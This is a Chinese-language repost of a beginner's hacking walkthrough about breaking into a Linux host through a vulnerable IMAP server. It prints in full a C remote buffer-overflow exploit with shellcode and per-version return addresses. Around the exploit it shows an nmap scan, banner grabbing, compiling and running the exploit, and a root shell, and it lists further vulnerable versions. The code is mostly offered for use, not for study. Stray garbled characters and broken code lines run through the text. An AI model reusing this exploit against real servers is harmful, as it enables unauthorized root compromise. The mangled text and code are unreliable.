热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

一次利用imap漏洞的入侵

一次利用imap漏洞的入侵 作者 : geniusbb  email : geniusbb@hotmail.com 系统 : Linux 以下文章是菜鸟写给菜鸟交流的 ,高手就免看了,欢迎来信交换心
一次利用imap漏洞的入侵

作者 : geniusbb 
email : geniusbb@hotmail.com
系统 : Linux

以下文章是菜鸟写给菜鸟交流的 ,高手就免看了,欢迎来信交换心得 。 

[cracker@ns2:~/ ] nmap -sF -O victim.com ( 用扫描工具如nmap 扫描主机上开放的端口和服务。) 

Port State Protocol Service
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
53 open tcp domain , _0 l. L$ H/ J
80 open tcp http
81 open tcp hosts2-ns 
110 open tcp pop-3 
143 open tcp imap 
[cracker@ns2:~/ ]telnet victim.com 143 ( imap 很可疑, telnet 上去看看 imap ) k# y  w1 n) `& w
版本 ) 
* OK victim.com IMAP4rev1 v10.190 server ready ( 咦, 版本 10.190 

?有漏洞的服务了,去找exploit)  w

$ X% a6 b- b' n; r( K

[cracker@ns2:~/ ] ls ( imap.c 是从 www.hack.za.co 下的) '
imap.c 
[cracker@ns2:~/ ] more imap.c

/* Ultimate IMAP4 sploit coded by The Tekneeq Crew */ 
/* http://www.attrition.org/hosted/tekneeq */

#include  
#include
#include
#include  
#include  
#include
#include  

#define RET_POS 1028

int connect_tcp(struct in_addr addr,unsigned short port);
int fdprintf(int dafd,char *fmt,...);

void RunShell(int thesock); 

struct types { 
char *name; 
unsigned long ret_addr;
}; 

struct types types[]={ 
{"IMAP4rev1 9.0",0xbffff6e4}, 
{"IMAP4rev1 v10.190",0xbffff30f}, 
{"IMAP4rev1 v10.223",0xbffff6e4},
{"IMAP4rev1 v10.203",0xbffff30f}, 
{"IMAP4 Service 8.3",0xbffff724}, 
{NULL,0}
}; 

char overflow_buff[4096];
struct in_addr victim;

/* standard shellcode with a few modifications */ 
char hellcode[]=
"\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30" 
"\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0" 3 U! k- F) R4 o% w
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56" 
"\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"

"\x2f\x32\x39\x3e\x2f\x43\x38"; 

int main (int argc,char **argv) 
{
unsigned long *ret; 
char recvbuf[1024];
int sockfd;
int i,n=0;

if (argc <2) 
{
printf("Usage: %s [offset]\n",argv[0]); 
exit(0); 


if (!host_to_ip(argv[1],&victim))
{
fprintf(stderr,"Hostname lookup failure\n"); 
exit(0); 


memset(overflow_buff,0x90,4096); 
for (i=RET_POS-(strlen(hellcode));i
overflow_buff=hellcode[n++]; 

if ((sockfd=connect_tcp(victim,143)) <0)

fprintf(stderr,"Error connecting to remote host\n");
exit(0);

n=read(sockfd,recvbuf,1024); 
if (n <= 0) { 
fprintf(stderr,"Connection closed\n"); 
exit(0); 

printf("%s\n",recvbuf); 
for (i=0;;i++)
{
if (types.name==NULL)
{
i=0; 
break;

if (strstr(recvbuf,types.name))
break;

printf("Imap type %d\n",i);
ret=(unsigned long *)(overflow_buff+RET_POS); 
*ret=types.ret_addr;
if (argv[2]) *ret+=(unsigned long)atoi(argv[2]);
overflow_buff[RET_POS+4]=0; 
printf("Sending overflow\n");
fdprintf(sockfd,"* AUTHENTICATE {%d}\n",strlen(overflow_buff));
fdprintf(sockfd,"%s\r\n",overflow_buff);
read(sockfd,recvbuf,1024); 
printf("Got shell\n");
RunShell(sockfd);
close(sockfd);
return; 
}

void RunShell(int thesock) 

int n; 
char recvbuf[1024]; 
fd_set rset;

while (1) 

FD_ZERO(&rset);
FD_SET(thesock,&rset);
FD_SET(STDIN_FILENO,&rset); 
select(thesock+1,&rset,NULL,NULL,NULL); 
if (FD_ISSET(thesock,&rset)) 

n=read(thesock,recvbuf,1024);
if (n <= 0)

printf("Connection closed\n");
exit(0); 
}
recvbuf[n]=0;
printf("%s",recvbuf);

if (FD_ISSET(STDIN_FILENO,&rset)) 

n=read(STDIN_FILENO,recvbuf,1024);
if (n>0) 

recvbuf[n]=0; 
write(thesock,recvbuf,n);
}
}

}

int fdprintf(int dafd,char *fmt,...) 

char mybuffer[4096]; 
va_list va;

va_start(va,fmt); 
vsnprintf(mybuffer,4096,fmt,va); 
write(dafd,mybuffer,strlen(mybuffer)); 
va_end(va); 
return(1); 



int connect_tcp(struct in_addr addr,unsigned short port)
{
struct sockaddr_in serv; 
int thesock,flags; 

thesock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bzero(&serv,sizeof(serv)); 
memcpy(&serv.sin_addr,&addr,sizeof(struct in_addr)); 
serv.sin_port=htons(port);
serv.sin_family=AF_INET;
if (connect(thesock,(struct sockaddr *)&serv,sizeof(serv)) <0) 
return(-1); 
else
return(thesock);

int host_to_ip(char *hostname,struct in_addr *addr)

struct hostent *res; 

res=gethostbyname(hostname); 
if (res==NULL) 
return(0); 
memcpy((char *)addr,res->h_addr,res->h_length); 
return(1);

/* www.hack.co.za */ 
 3 S+ a: f2 K7 `- C2 J3 d

[cracker@ns2:~/ ] gcc imap.c -o imap ( 编译 imap.c ) 
(运行imap: ./imap offset ip , offset 的数值可更改) 
[cracker@ns2:~/ ] ./imap 0 victim.com 
(运行./imap , 直到 spawn 到 一个 shell 为止。若成功反应如下) 

* OK victim.com IMAP4rev1 v10.190 server ready 

Imap type 1
Sending overflow 
Got shell (有 shell 了) 

# id ( 打 id 看看自己是谁) 

uid=0(root) gid=0(root) groups=0(root) 

( 那么主机的命运就操纵在你手上了,你是 root 了, 来个 rm -rf 超度它?算了吧。) 

入侵一架主机就那么容易 。只要找到主机上有漏洞的服务如 imap , qpop , rpc services ,
再找些exploit跑跑 ,那么入侵就机会成功。其他imap拥有一样的漏洞的版本是: (
IMAP4rev1 v10.233,10.205,10.203,10.196,10.166 
这些漏洞都利用了 buffer overflow 缓冲溢出的原理 .

推荐阅读
  • IP双栈环境下网络应用迁移
    IPv4向IPv6迁移有多种途径,在选择具体的迁移方式时,当前环境中运行的应用是否支持IPv6是重要的考量因素之一,同时在编写新的应用时,需要考虑新编写的应用不仅可以适应当前主流的IPv4环境, ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了Linux系统中正则表达式的基础知识,包括正则表达式的简介、字符分类、普通字符和元字符的区别,以及在学习过程中需要注意的事项。同时提醒读者要注意正则表达式与通配符的区别,并给出了使用正则表达式时的一些建议。本文适合初学者了解Linux系统中的正则表达式,并提供了学习的参考资料。 ... [详细]
  • 成功安装Sabayon Linux在thinkpad X60上的经验分享
    本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ... [详细]
  • 如何利用 Myflash 解析 binlog ?
    本文主要介绍了对Myflash的测试,从准备测试环境到利用Myflash解析binl ... [详细]
  • Linux一键安装web环境全攻略
    摘自阿里云服务器官网,此处一键安装包下载:点此下载安装须知1、此安装包可在阿里云所有Linux系统上部署安装,此安装包包含的软件及版本为& ... [详细]
  • 网络安全是一个非常重要的课题,基本上你运行的服务后台越多,你就可能打开更多的安全漏洞.如果配置的恰当的话,Linux本身是非常安全可靠的,假使在Linux系统中有某个安全缺陷,由于Linu ... [详细]
  • /usr/local/webots/bin/webotsbin: /lib/x86_64linuxgnu/libm.so.6: version `GLIBC_2.29‘ not found (r
    usrlocalwebotsbinwebots-bin:libx86_64-linux-gnulibm.so.6:versionGLIBC_2.29notfound(require ... [详细]
  • OSI七层模型、TCP/IP五层模型
    OSI网络互连的七层框架:物理层、数据链路层、网络层、传输层、会话层、表示层、应用层;应用层OSI参考模型中最靠近用户的一层,是为计算机用户提供应用接口,为用户直接提供各种网 ... [详细]
  • 本文介绍了通过ABAP开发往外网发邮件的需求,并提供了配置和代码整理的资料。其中包括了配置SAP邮件服务器的步骤和ABAP写发送邮件代码的过程。通过RZ10配置参数和icm/server_port_1的设定,可以实现向Sap User和外部邮件发送邮件的功能。希望对需要的开发人员有帮助。摘要长度:184字。 ... [详细]
  • 本文讨论了clone的fork与pthread_create创建线程的不同之处。进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合。在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性。但是二者之间的通讯需要通过专门的通讯机制,另外通过fork创建子进程系统开销很大。因此,在某些情况下,使用clone或pthread_create创建线程可能更加高效。 ... [详细]
  • 本文介绍了Python爬虫技术基础篇面向对象高级编程(中)中的多重继承概念。通过继承,子类可以扩展父类的功能。文章以动物类层次的设计为例,讨论了按照不同分类方式设计类层次的复杂性和多重继承的优势。最后给出了哺乳动物和鸟类的设计示例,以及能跑、能飞、宠物类和非宠物类的增加对类数量的影响。 ... [详细]
  • 本文介绍了django中视图函数的使用方法,包括如何接收Web请求并返回Web响应,以及如何处理GET请求和POST请求。同时还介绍了urls.py和views.py文件的配置方式。 ... [详细]
  • 海马s5近光灯能否直接更换为H7?
    本文主要介绍了海马s5车型的近光灯是否可以直接更换为H7灯泡,并提供了完整的教程下载地址。此外,还详细讲解了DSP功能函数中的数据拷贝、数据填充和浮点数转换为定点数的相关内容。 ... [详细]
  • PHP组合工具以及开发所需的工具
    本文介绍了PHP开发中常用的组合工具和开发所需的工具。对于数据分析软件,包括Excel、hihidata、SPSS、SAS、MARLAB、Eview以及各种BI与报表工具等。同时还介绍了PHP开发所需的PHP MySQL Apache集成环境,包括推荐的AppServ等版本。 ... [详细]
author-avatar
查建樺
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有